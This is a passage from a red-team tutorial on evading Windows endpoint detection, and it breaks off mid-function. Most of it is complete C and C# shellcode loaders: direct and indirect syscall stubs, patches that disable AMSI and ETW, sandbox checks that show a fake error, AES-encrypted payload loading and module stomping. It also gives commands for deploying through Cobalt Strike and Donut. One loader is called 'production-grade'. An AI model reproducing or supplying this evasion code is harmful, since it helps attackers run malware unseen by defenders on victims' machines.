    pNtThread(&hThread, GENERIC_EXECUTE, NULL, hProc, base, NULL, 0, 0, 0, 0, NULL);

    // Wait
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}
# Compile:
x86_64-w64-mingw32-gcc indirect_syscall.c -o indirect_loader.exe -mwindows

15. EtwTi (Kernel ETW Thread Intelligence) Evasion

What it means: Even with usermode hooks bypassed, Windows 10+ has a kernel-level ETW (Event Tracing for Windows) provider called Microsoft-Windows-Threat-Intelligence (EtwTi) that runs in the kernel and fires callbacks for operations like:

  • Memory allocation (VirtualAlloc / NtAllocateVirtualMemory — kernel callback)
  • File creation
  • Process/thread creation
  • Registry operations

This is separate from AMSI and usermode ETW patching. EtwTi fires BEFORE your code runs and is harder to disable without a kernel driver.

15.1 What EtwTi Watches

EtwTi Events (from Microsoft-Windows-Threat-Intelligence ETW provider):
─────────────────────────────────────────────────────────────────────
KERNEL_THREATINT_TASK_ALLOCVM        → Memory allocation (VirtualAlloc*)
KERNEL_THREATINT_TASK_PROTECTVM      → Permission changes (VirtualProtect*)
KERNEL_THREATINT_TASK_MAPVIEW        → Section mapping (MapViewOfSection*)
KERNEL_THREATINT_TASK_QUEUEUSERAPC   → APC queue (QueueUserAPC*)
KERNEL_THREATINT_TASK_SETTHREADCTX   → Thread context modification
KERNEL_THREATINT_TASK_OPENPROCESS    → OpenProcess calls
KERNEL_THREATINT_TASK_READVM         → ReadProcessMemory*
KERNEL_THREATINT_TASK_WRITEVM        → WriteProcessMemory*
KERNEL_THREATINT_TASK_REGISTRY       → Registry modifications

15.2 Disabling EtwTi (Requires Kernel Access)

// EtwTi can only be fully disabled from kernel mode (requires a driver).
// Some techniques involve:
// 1. Patching the EtwpDebuggerData structure (risky, PatchGuard monitors this)
// 2. Using vulnerable signed drivers to get kernel write primitives
// 3. HyperVisor-based attacks (beyond scope of this note)

// From usermode, you can patch the usermode ETW component:
void PatchEtwEventWrite(void) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    FARPROC EtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
    DWORD oldProt;
    VirtualProtect(EtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProt);
    *(unsigned char*)EtwEventWrite = 0xC3;  // ret — usermode ETW disabled
    VirtualProtect(EtwEventWrite, 1, oldProt, &oldProt);
}

// BUT: EtwTi fires at the KERNEL level — patching EtwEventWrite in usermode
// does NOT stop EtwTi. EtwTi bypasses usermode entirely.
// Direct syscalls reduce EtwTi exposure by reducing the surface area of what's
// observable, but do NOT fully evade it against a fully instrumented EDR.

15.3 Practical Mitigation Strategies

Strategy 1: Reduce EtwTi surface
→ Minimize RWX allocations (use RW→RX transitions)
→ Inject into already-elevated processes (fewer allocation events relative to normal ops)
→ Use NtMapViewOfSection instead of VirtualAlloc (different event type)

Strategy 2: Section-based loading (avoids ALLOCVM events)
→ NtCreateSection → NtMapViewOfSection to load shellcode
→ This triggers MAPVIEW events instead of ALLOCVM (less scrutinized by some EDRs)

Strategy 3: Module stomping (avoids anonymous memory events)
→ Shellcode runs in a memory page backed by a legitimate DLL file
→ EtwTi still fires, but the allocation was the DLL load (not your operation)
→ Reduces suspicion

Strategy 4: Process injection timing
→ Inject during a period of high process activity
→ More events = harder to correlate individual events

16. Complete Direct Syscall Shellcode Loader (C)

This is a production-grade, complete loader that combines: - SysWhispers2-based direct syscalls - AES-256 shellcode decryption - RW→RX memory transition (no RWX pages) - AMSI patch - ETW usermode patch - Sandbox evasion

// complete_loader.c — Production-grade shellcode loader with direct syscalls
// Compile: x86_64-w64-mingw32-gcc complete_loader.c syscalls.c -o loader.exe -mwindows -lbcrypt

#include "syscalls.h"   // SysWhispers2 generated
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt.lib")

// ─────────────────────────────────────────────────────────────────
// Configuration — replace these with real values
// ─────────────────────────────────────────────────────────────────

// AES key (32 bytes) — generate with: python3 -c "import os;print(list(os.urandom(32)))"
unsigned char aes_key[] = {
    0x1A, 0x2B, 0x3C, 0x4D, 0x5E, 0x6F, 0x7A, 0x8B,
    0x9C, 0xAD, 0xBE, 0xCF, 0xDA, 0xEB, 0xFC, 0x0D,
    0x1E, 0x2F, 0x3A, 0x4B, 0x5C, 0x6D, 0x7E, 0x8F,
    0x9A, 0xAB, 0xBC, 0xCD, 0xDE, 0xEF, 0xF0, 0x01
};

// AES IV (16 bytes)
unsigned char aes_iv[] = {
    0xDE, 0xAD, 0xBE, 0xEF, 0xCA, 0xFE, 0xBA, 0xBE,
    0xDE, 0xAD, 0xC0, 0xDE, 0xFE, 0xED, 0xFA, 0xCE
};

// AES-encrypted shellcode (replace with: python3 encrypt.py shell.bin)
unsigned char enc_shellcode[] = {
    // paste encrypted bytes here
    0x00  // placeholder
};
unsigned int enc_len = sizeof(enc_shellcode);

// ─────────────────────────────────────────────────────────────────
// AMSI Patch
// ─────────────────────────────────────────────────────────────────
void PatchAMSI(void) {
    HMODULE hAmsi = LoadLibraryA("amsi.dll");
    if (!hAmsi) return;
    FARPROC scan = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!scan) return;
    DWORD old;
    // NtProtectVirtualMemory via direct syscall (no VirtualProtect API call)
    PVOID base = scan; SIZE_T sz = 6; ULONG prev;
    NtProtectVirtualMemory((HANDLE)-1, &base, &sz, PAGE_EXECUTE_READWRITE, &prev);
    // Patch: mov eax, 0x80070057; ret → AmsiScanBuffer always returns E_INVALIDARG
    unsigned char patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    SIZE_T written;
    NtWriteVirtualMemory((HANDLE)-1, scan, patch, sizeof(patch), &written);
    NtProtectVirtualMemory((HANDLE)-1, &base, &sz, prev, &prev);
}

// ─────────────────────────────────────────────────────────────────
// ETW Usermode Patch
// ─────────────────────────────────────────────────────────────────
void PatchETW(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    FARPROC etw = GetProcAddress(hNtdll, "EtwEventWrite");
    if (!etw) return;
    PVOID base = etw; SIZE_T sz = 1; ULONG prev;
    NtProtectVirtualMemory((HANDLE)-1, &base, &sz, PAGE_EXECUTE_READWRITE, &prev);
    unsigned char patch[] = { 0xC3 };  // ret
    SIZE_T written;
    NtWriteVirtualMemory((HANDLE)-1, etw, patch, sizeof(patch), &written);
    NtProtectVirtualMemory((HANDLE)-1, &base, &sz, prev, &prev);
}

// ─────────────────────────────────────────────────────────────────
// AES-256-CBC Decryption (Windows BCrypt — no extra libs)
// ─────────────────────────────────────────────────────────────────
BOOL AESDecrypt(BYTE* ciphertext, DWORD ct_len, BYTE** plaintext, DWORD* pt_len) {
    BCRYPT_ALG_HANDLE hAlg;
    BCRYPT_KEY_HANDLE hKey;
    BYTE iv_copy[16];
    memcpy(iv_copy, aes_iv, 16);  // BCrypt modifies IV in place — use a copy

    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
        (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, aes_key, sizeof(aes_key), 0);

    DWORD outLen = 0;
    BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv_copy, 16, NULL, 0, &outLen,
        BCRYPT_BLOCK_PADDING);

    *plaintext = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, outLen);
    BCryptDecrypt(hKey, ciphertext, ct_len, NULL, iv_copy, 16, *plaintext, outLen, pt_len,
        BCRYPT_BLOCK_PADDING);

    BCryptDestroyKey(hKey);
    BCryptCloseAlgorithmProvider(hAlg, 0);
    return TRUE;
}

// ─────────────────────────────────────────────────────────────────
// Sandbox Evasion — Return FALSE if we're in a sandbox
// ─────────────────────────────────────────────────────────────────
BOOL IsRealSystem(void) {
    // Check 1: Uptime > 5 minutes (sandboxes often have fresh boots)
    if (GetTickCount() < 5 * 60 * 1000) return FALSE;

    // Check 2: More than 2 CPU cores
    SYSTEM_INFO si; GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 2) return FALSE;

    // Check 3: More than 3GB RAM
    MEMORYSTATUSEX ms = { sizeof(ms) };
    GlobalMemoryStatusEx(&ms);
    if (ms.ullTotalPhys < (DWORDLONG)3 * 1024 * 1024 * 1024) return FALSE;

    // Check 4: Sleep timing check (sandboxes accelerate time)
    DWORD start = GetTickCount();
    Sleep(1500);
    DWORD elapsed = GetTickCount() - start;
    if (elapsed < 1000) return FALSE;

    return TRUE;
}

// ─────────────────────────────────────────────────────────────────
// Main
// ─────────────────────────────────────────────────────────────────
int main(void) {
    // Step 0: Sandbox check — exit silently if detected
    if (!IsRealSystem()) {
        // Appear benign in sandbox
        MessageBoxA(NULL, "An error occurred. Please try again.", "Error", MB_OK | MB_ICONERROR);
        return 0;
    }

    // Step 1: Populate SysWhispers2 syscall number table
    if (!SW2_PopulateSyscallList()) return 1;

    // Step 2: Patch AMSI (via direct syscalls — not VirtualProtect!)
    PatchAMSI();

    // Step 3: Patch usermode ETW
    PatchETW();

    // Step 4: Decrypt shellcode
    BYTE* shellcode = NULL;
    DWORD sc_len = 0;
    if (!AESDecrypt(enc_shellcode, enc_len, &shellcode, &sc_len)) return 1;

    // Step 5: Allocate RW memory (direct syscall — EDR hook bypassed)
    HANDLE hProc = (HANDLE)-1;
    PVOID baseAddr = NULL;
    SIZE_T regionSize = sc_len;
    NTSTATUS status = NtAllocateVirtualMemory(hProc, &baseAddr, 0, &regionSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (status != 0) { HeapFree(GetProcessHeap(), 0, shellcode); return 1; }

    // Step 6: Copy shellcode to allocated memory (direct syscall)
    SIZE_T written = 0;
    NtWriteVirtualMemory(hProc, baseAddr, shellcode, sc_len, &written);

    // Step 7: Wipe decrypted shellcode from heap immediately
    SecureZeroMemory(shellcode, sc_len);
    HeapFree(GetProcessHeap(), 0, shellcode);

    // Step 8: Change memory to RX (no write) via direct syscall
    PVOID protBase = baseAddr;
    SIZE_T protSize = sc_len;
    ULONG oldProtect = 0;
    NtProtectVirtualMemory(hProc, &protBase, &protSize, PAGE_EXECUTE_READ, &oldProtect);

    // Step 9: Create thread via direct syscall (no CreateThread!)
    HANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc,
        baseAddr, NULL, 0, 0, 0, 0, NULL);

    // Step 10: Wait (beacon will run indefinitely in a real scenario)
    NtWaitForSingleObject(hThread, FALSE, NULL);

    return 0;
}

17. Complete Indirect Syscall Loader (C)

This extends the direct syscall loader to use indirect syscalls — ensuring the syscall instruction fires from within ntdll's address range for maximum EDR evasion. Combines: SysWhispers3 (mingw/nasm output), indirect stub building, AES decryption, RW→RX, sandbox evasion.

// indirect_complete.c — Full indirect syscall loader
// Uses runtime-built indirect stubs that JMP into ntdll's 'syscall' instruction

#include <windows.h>
#include <bcrypt.h>
#include <tlhelp32.h>
#include <stdio.h>

#pragma comment(lib, "bcrypt.lib")

// ─────────────────────────────────────────────────────────────────
// NT function typedefs
// ─────────────────────────────────────────────────────────────────
typedef NTSTATUS (NTAPI* NtAllocateVirtualMemory_t)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS (NTAPI* NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI* NtProtectVirtualMemory_t)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
typedef NTSTATUS (NTAPI* NtCreateThreadEx_t)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);

// ─────────────────────────────────────────────────────────────────
// Build an indirect syscall stub in RWX memory
// Stub layout (28 bytes):
//   4C 8B D1          mov r10, rcx
//   B8 XX XX XX XX    mov eax, <sysnum>
//   FF 25 00 00 00 00 jmp qword ptr [rip+0]
//   <8-byte syscall addr in ntdll>
// ─────────────────────────────────────────────────────────────────
PVOID BuildStub(DWORD sysnum, PVOID syscallInNtdll) {
    BYTE template[] = {
        0x4C, 0x8B, 0xD1,           // mov r10, rcx
        0xB8, 0x00, 0x00, 0x00, 0x00,  // mov eax, <sysnum>  (bytes 4-7)
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,  // jmp [rip+0]
        // 8-byte target address follows immediately
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };
    *(DWORD*)(template + 4) = sysnum;
    *(PVOID*)(template + 14) = syscallInNtdll;

    PVOID stub = VirtualAlloc(NULL, sizeof(template),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (stub) memcpy(stub, template, sizeof(template));
    return stub;
}

// Find 'syscall' (0F 05) in ntdll function
PVOID FindSyscallInNtdll(const char* funcName) {
    PBYTE func = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
    if (!func) return NULL;
    for (int i = 0; i < 32; i++)
        if (func[i] == 0x0F && func[i+1] == 0x05)
            return func + i;
    // Fallback: clean neighbor
    for (int off = 1; off <= 10; off++) {
        PBYTE n = func + off * 32;
        if (n[0] == 0x4C && n[1] == 0x8B && n[2] == 0xD1)
            for (int i = 0; i < 16; i++)
                if (n[i] == 0x0F && n[i+1] == 0x05)
                    return n + i;
    }
    return NULL;
}

// Get syscall number (from clean stub or EAT-sort fallback)
DWORD GetSysnum(const char* funcName) {
    PBYTE func = (PBYTE)GetProcAddress(GetModuleHandleA("ntdll.dll"), funcName);
    if (!func) return 0;
    if (func[0] == 0x4C && func[1] == 0x8B && func[2] == 0xD1 && func[3] == 0xB8)
        return *(DWORD*)(func + 4) & 0xFFFF;
    // Hooked — use EAT-sort (Section 13) — simplified here
    return 0; // implement RecycledGate here for production
}

// ─────────────────────────────────────────────────────────────────
// AES Decrypt (same as previous section)
// ─────────────────────────────────────────────────────────────────
BOOL AESDecrypt(BYTE* ct, DWORD ctLen, BYTE* key, BYTE* iv, BYTE** pt, DWORD* ptLen) {
    BCRYPT_ALG_HANDLE hAlg; BCRYPT_KEY_HANDLE hKey;
    BYTE iv_copy[16]; memcpy(iv_copy, iv, 16);
    BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
    BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC,
        sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
    BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, key, 32, 0);
    DWORD sz = 0;
    BCryptDecrypt(hKey, ct, ctLen, NULL, iv_copy, 16, NULL, 0, &sz, BCRYPT_BLOCK_PADDING);
    *pt = (BYTE*)HeapAlloc(GetProcessHeap(), 0, sz);
    BCryptDecrypt(hKey, ct, ctLen, NULL, iv_copy, 16, *pt, sz, ptLen, BCRYPT_BLOCK_PADDING);
    BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0);
    return TRUE;
}

// ─────────────────────────────────────────────────────────────────
// Main
// ─────────────────────────────────────────────────────────────────

// Placeholders — replace with real values
unsigned char aes_key[32] = { /* 32 key bytes */ };
unsigned char aes_iv[16]  = { /* 16 iv bytes */ };
unsigned char enc_sc[]    = { /* encrypted shellcode */ 0x00 };

int main(void) {
    // Build indirect stubs
    NtAllocateVirtualMemory_t pAlloc  = BuildStub(GetSysnum("NtAllocateVirtualMemory"),
                                                   FindSyscallInNtdll("NtAllocateVirtualMemory"));
    NtWriteVirtualMemory_t    pWrite  = BuildStub(GetSysnum("NtWriteVirtualMemory"),
                                                   FindSyscallInNtdll("NtWriteVirtualMemory"));
    NtProtectVirtualMemory_t  pProt   = BuildStub(GetSysnum("NtProtectVirtualMemory"),
                                                   FindSyscallInNtdll("NtProtectVirtualMemory"));
    NtCreateThreadEx_t        pThread = BuildStub(GetSysnum("NtCreateThreadEx"),
                                                   FindSyscallInNtdll("NtCreateThreadEx"));

    if (!pAlloc || !pWrite || !pProt || !pThread) return 1;

    // Decrypt shellcode
    BYTE* sc = NULL; DWORD sc_len = 0;
    AESDecrypt(enc_sc, sizeof(enc_sc), aes_key, aes_iv, &sc, &sc_len);

    HANDLE hProc = (HANDLE)-1;

    // Allocate (indirect syscall)
    PVOID base = NULL; SIZE_T sz = sc_len;
    pAlloc(hProc, &base, 0, &sz, 0x3000, 0x04);

    // Write (indirect syscall)
    SIZE_T written = 0;
    pWrite(hProc, base, sc, sc_len, &written);
    SecureZeroMemory(sc, sc_len);
    HeapFree(GetProcessHeap(), 0, sc);

    // Protect RX (indirect syscall)
    PVOID pb = base; SIZE_T ps = sc_len; ULONG old;
    pProt(hProc, &pb, &ps, 0x20, &old);

    // Create thread (indirect syscall)
    HANDLE hT = NULL;
    pThread(&hT, GENERIC_EXECUTE, NULL, hProc, base, NULL, 0, 0, 0, 0, NULL);

    WaitForSingleObject(hT, INFINITE);
    return 0;
}

18. C# / .NET Syscall Techniques (D/Invoke)

D/Invoke (Dynamic Invocation) is the .NET equivalent of direct syscalls — instead of P/Invoke (which creates visible imports in the assembly), D/Invoke calls APIs at runtime by resolving them dynamically, leaving no static import footprint.

18.1 D/Invoke vs P/Invoke

// P/Invoke (STATIC — visible in assembly imports, flagged by static analysis):
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAlloc(IntPtr a, uint s, uint t, uint p);
// ↑ This creates an entry in the IAT — EDR and static analysis tools see it


// D/Invoke (DYNAMIC — no static import, resolved at runtime):
// 1. Load the DLL manually (or get it from already-loaded modules)
// 2. Walk its export table to find the function
// 3. Create a delegate for it at runtime
// 4. Call through the delegate
// ↑ No IAT entry — invisible to static analysis

18.2 D/Invoke Core Implementation

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Reflection;

class DInvoke {
    // ─────────────────────────────────────────────────────────────
    // Step 1: Get a module handle WITHOUT calling LoadLibrary
    // Walk PEB InMemoryOrderModuleList to find already-loaded DLLs
    // ─────────────────────────────────────────────────────────────
    public static IntPtr GetLoadedModuleHandle(string moduleName) {
        foreach (ProcessModule module in Process.GetCurrentProcess().Modules) {
            if (module.ModuleName.Equals(moduleName, StringComparison.OrdinalIgnoreCase)) {
                return module.BaseAddress;
            }
        }
        return IntPtr.Zero;
    }

    // ─────────────────────────────────────────────────────────────
    // Step 2: Get function address from export table WITHOUT GetProcAddress
    // Walks PE Export Directory manually
    // ─────────────────────────────────────────────────────────────
    public static IntPtr GetExportAddress(IntPtr moduleBase, string funcName) {
        // Read DOS header → NT headers → Export directory
        int e_lfanew = Marshal.ReadInt32(moduleBase + 0x3C);
        IntPtr ntHdr = moduleBase + e_lfanew;

        // Optional header starts at offset 0x18 from NT header
        // Export directory RVA is at DataDirectory[0]
        // On x64: OptionalHeader is at offset 0x18, DataDirectory[0] is at +0x70
        int exportDirRVA = Marshal.ReadInt32(ntHdr + 0x18 + 0x70);
        IntPtr exportDir = moduleBase + exportDirRVA;

        int numberOfNames    = Marshal.ReadInt32(exportDir + 0x18);
        int addressOfFuncsRVA   = Marshal.ReadInt32(exportDir + 0x1C);
        int addressOfNamesRVA   = Marshal.ReadInt32(exportDir + 0x20);
        int addressOfOrdsRVA    = Marshal.ReadInt32(exportDir + 0x24);

        IntPtr funcTable = moduleBase + addressOfFuncsRVA;
        IntPtr nameTable = moduleBase + addressOfNamesRVA;
        IntPtr ordTable  = moduleBase + addressOfOrdsRVA;

        for (int i = 0; i < numberOfNames; i++) {
            int nameRVA = Marshal.ReadInt32(nameTable + i * 4);
            string name = Marshal.PtrToStringAnsi(moduleBase + nameRVA);
            if (name == funcName) {
                short ordinal = Marshal.ReadInt16(ordTable + i * 2);
                int funcRVA = Marshal.ReadInt32(funcTable + ordinal * 4);
                return moduleBase + funcRVA;
            }
        }
        return IntPtr.Zero;
    }

    // ─────────────────────────────────────────────────────────────
    // Step 3: Create a typed delegate from a function address
    // ─────────────────────────────────────────────────────────────
    public static T GetDelegateFromPointer<T>(IntPtr funcAddr) where T : class {
        return Marshal.GetDelegateForFunctionPointer<T>(funcAddr);
    }

    // ─────────────────────────────────────────────────────────────
    // Usage: Get NtAllocateVirtualMemory without P/Invoke
    // ─────────────────────────────────────────────────────────────
    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    delegate int NtAllocateVirtualMemoryDelegate(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        IntPtr ZeroBits,
        ref IntPtr RegionSize,
        uint AllocationType,
        uint Protect
    );

    public static void Demo() {
        // Get ntdll without LoadLibrary
        IntPtr hNtdll = GetLoadedModuleHandle("ntdll.dll");

        // Get NtAllocateVirtualMemory address without GetProcAddress
        IntPtr funcAddr = GetExportAddress(hNtdll, "NtAllocateVirtualMemory");

        // Create delegate
        var NtAllocateVirtualMemory = GetDelegateFromPointer<NtAllocateVirtualMemoryDelegate>(funcAddr);

        // Call it (now using D/Invoke — no P/Invoke import in IAT)
        IntPtr baseAddr = IntPtr.Zero;
        IntPtr regionSize = new IntPtr(4096);
        int status = NtAllocateVirtualMemory(
            Process.GetCurrentProcess().Handle,
            ref baseAddr,
            IntPtr.Zero,
            ref regionSize,
            0x3000,  // MEM_COMMIT | MEM_RESERVE
            0x04     // PAGE_READWRITE
        );
        Console.WriteLine($"[+] NtAllocateVirtualMemory status: 0x{status:X8}, addr: 0x{baseAddr:X}");
    }
}

18.3 D/Invoke with Syscalls (SharpSploit / DInvoke Library)

// Using the DInvoke NuGet package / SharpSploit:
// Install-Package DInvoke  OR  clone https://github.com/TheWover/DInvoke

using DInvoke.DynamicInvoke;
using DInvoke.Data;
using System.Runtime.InteropServices;
using System;

class SyscallLoader {
    static void Main(string[] args) {
        // Shellcode placeholder
        byte[] shellcode = new byte[] { 0x90, 0x90, 0xC3 };

        // ─── NtAllocateVirtualMemory via D/Invoke ───
        // Define the delegate
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate Native.NTSTATUS NtAllocateVirtualMemory(
            IntPtr ProcessHandle,
            ref IntPtr BaseAddress,
            IntPtr ZeroBits,
            ref IntPtr RegionSize,
            uint AllocationType,
            uint Protect
        );

        // Get the function pointer (D/Invoke style)
        IntPtr hNtdll = Generic.GetLoadedModuleAddress("ntdll.dll");
        IntPtr funcAddr = Generic.GetExportAddress(hNtdll, "NtAllocateVirtualMemory");
        var NtAllocVMem = Marshal.GetDelegateForFunctionPointer<NtAllocateVirtualMemory>(funcAddr);

        // Allocate memory
        IntPtr baseAddr = IntPtr.Zero;
        IntPtr regionSize = new IntPtr(shellcode.Length);
        var status = NtAllocVMem(
            new IntPtr(-1),      // Current process
            ref baseAddr,
            IntPtr.Zero,
            ref regionSize,
            0x3000,              // MEM_COMMIT | MEM_RESERVE
            0x04                 // PAGE_READWRITE
        );

        if (status != 0) { Console.WriteLine($"[-] Alloc failed: 0x{(uint)status:X}"); return; }
        Console.WriteLine($"[+] Allocated at 0x{baseAddr:X}");

        // Copy shellcode
        Marshal.Copy(shellcode, 0, baseAddr, shellcode.Length);

        // Change to RX
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate Native.NTSTATUS NtProtectVirtualMemory(
            IntPtr ProcessHandle, ref IntPtr BaseAddress,
            ref IntPtr RegionSize, uint NewProtect, out uint OldProtect
        );

        IntPtr protAddr = Generic.GetExportAddress(hNtdll, "NtProtectVirtualMemory");
        var NtProtVM = Marshal.GetDelegateForFunctionPointer<NtProtectVirtualMemory>(protAddr);

        IntPtr pb = baseAddr; IntPtr ps = new IntPtr(shellcode.Length); uint old;
        NtProtVM(new IntPtr(-1), ref pb, ref ps, 0x20, out old);

        // Execute
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate Native.NTSTATUS NtCreateThreadEx(
            out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes,
            IntPtr ProcessHandle, IntPtr StartRoutine, IntPtr Argument,
            uint CreateFlags, IntPtr ZeroBits, IntPtr StackSize,
            IntPtr MaximumStackSize, IntPtr AttributeList
        );

        IntPtr threadAddr = Generic.GetExportAddress(hNtdll, "NtCreateThreadEx");
        var NtCreateThEx = Marshal.GetDelegateForFunctionPointer<NtCreateThreadEx>(threadAddr);

        IntPtr hThread;
        NtCreateThEx(out hThread, 0x1FFFFF, IntPtr.Zero, new IntPtr(-1),
            baseAddr, IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);

        Console.WriteLine($"[+] Thread created: 0x{hThread:X}");
    }
}

18.4 Compile and Deploy C# Loader

# Windows — compile C# loader:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:loader.exe loader.cs

# Linux (Mono):
mcs -unsafe loader.cs -out:loader.exe

# Deploy via Cobalt Strike execute-assembly:
# beacon> execute-assembly /opt/loaders/loader.exe

# Deploy via PowerShell (if inline):
# [Reflection.Assembly]::Load(<byte array of loader.exe>)

# Wrap with Donut for in-memory execution:
donut -f loader.exe -a 2 -b 1 -o loader_sc.bin
# -b 1 = bypass AMSI + WLDP (Donut handles this before running .NET runtime)

19. Combining Syscalls with Other Evasion Layers

Direct/indirect syscalls alone are not sufficient for modern EDR evasion. They must be combined with other techniques.

┌─────────────────────────────────────────────────────────────────┐
│                    EVASION LAYER STACK                          │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 1: Payload Encryption                                     │
│   AES-256-CBC or ChaCha20 — static analysis cannot read payload │
│   Key NOT stored in loader binary (fetch from C2 or derive)    │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 2: Syscall Bypass (Direct or Indirect)                    │
│   NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx│
│   Bypasses usermode EDR hooks on ntdll                         │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 3: Memory Stealth                                         │
│   RW → RX transition (no RWX pages)                            │
│   Module stomping (shellcode in DLL-backed pages)              │
│   NtMapViewOfSection instead of NtAllocateVirtualMemory        │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 4: Execution Stealth                                      │
│   Callbacks (EnumWindows, timer) instead of CreateThread        │
│   Fiber execution (ConvertThreadToFiber + SwitchToFiber)       │
│   Thread pool (TpAllocWork + TpPostWork)                       │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 5: Telemetry Suppression                                  │
│   AMSI patch (via syscall — not VirtualProtect)                │
│   ETW usermode patch (EtwEventWrite → ret)                     │
├─────────────────────────────────────────────────────────────────┤
│ LAYER 6: Loader Binary Stealth                                  │
│   Code signing (ScareCrow / Freeze)                            │
│   Garble obfuscation (Go-based tools)                          │
│   Sandbox evasion (sleep timing, RAM, CPU, cursor)             │
│   PPID spoofing (appear as child of explorer.exe)              │
└─────────────────────────────────────────────────────────────────┘

19.2 NtMapViewOfSection as VirtualAlloc Alternative

Using NtMapViewOfSection instead of NtAllocateVirtualMemory fires different EtwTi events and has a different detection profile:

// Use NtCreateSection + NtMapViewOfSection instead of VirtualAlloc
// Different EtwTi event (MAPVIEW not ALLOCVM) — different detection profile

#include "syscalls.h"  // SysWhispers2 with NtCreateSection, NtMapViewOfSection

// NT types
typedef LONG NTSTATUS;
#define SECTION_ALL_ACCESS 0x10000000

void SectionBasedLoader(unsigned char* shellcode, size_t sc_len) {
    HANDLE hSection = NULL;
    LARGE_INTEGER sectionSize;
    sectionSize.QuadPart = sc_len;

    // Step 1: Create a section (not a VirtualAlloc)
    NTSTATUS status = NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        NULL,
        &sectionSize,
        PAGE_EXECUTE_READWRITE,
        SEC_COMMIT,
        NULL
    );
    if (status != 0) return;

    // Step 2: Map the section into current process (RW)
    PVOID localBase = NULL;
    SIZE_T viewSize = 0;
    NtMapViewOfSection(
        hSection,
        (HANDLE)-1,        // Current process
        &localBase,
        0, 0, NULL,
        &viewSize,
        ViewShare,         // 2
        0,
        PAGE_READWRITE     // Map as RW first
    );

    // Step 3: Copy shellcode
    memcpy(localBase, shellcode, sc_len);

    // Step 4: Unmap RW view and remap as RX
    NtUnmapViewOfSection((HANDLE)-1, localBase);
    NtMapViewOfSection(hSection, (HANDLE)-1, &localBase,
        0, 0, NULL, &viewSize, ViewShare, 0, PAGE_EXECUTE_READ);

    // Step 5: Execute
    HANDLE hThread = NULL;
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, (HANDLE)-1,
        localBase, NULL, 0, 0, 0, 0, NULL);
    NtWaitForSingleObject(hThread, FALSE, NULL);
}

19.3 Module Stomping + Indirect Syscalls (Maximum Stealth)

// Ultimate technique: indirect syscalls + module stomping
// Memory scanner sees legitimate DLL backing → no anonymous RWX pages

void ModuleStomping_IndirectSyscall(unsigned char* shellcode, size_t sc_len) {
    // 1. Load a sacrificial DLL (choose one with large .text section, rarely called)
    HMODULE hMod = LoadLibraryA("xpsservices.dll");  // Or: prntvpt.dll, msaatext.dll
    if (!hMod) { LoadLibraryA("xpsp1res.dll"); return; }

    // 2. Find the .text section
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hMod;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)hMod + dos->e_lfanew);
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    BYTE* textSection = NULL;
    DWORD textSize = 0;
    for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        if (memcmp(sec[i].Name, ".text", 5) == 0) {
            textSection = (BYTE*)hMod + sec[i].VirtualAddress;
            textSize = sec[i].Misc.VirtualSize;
            break;
        }
    }
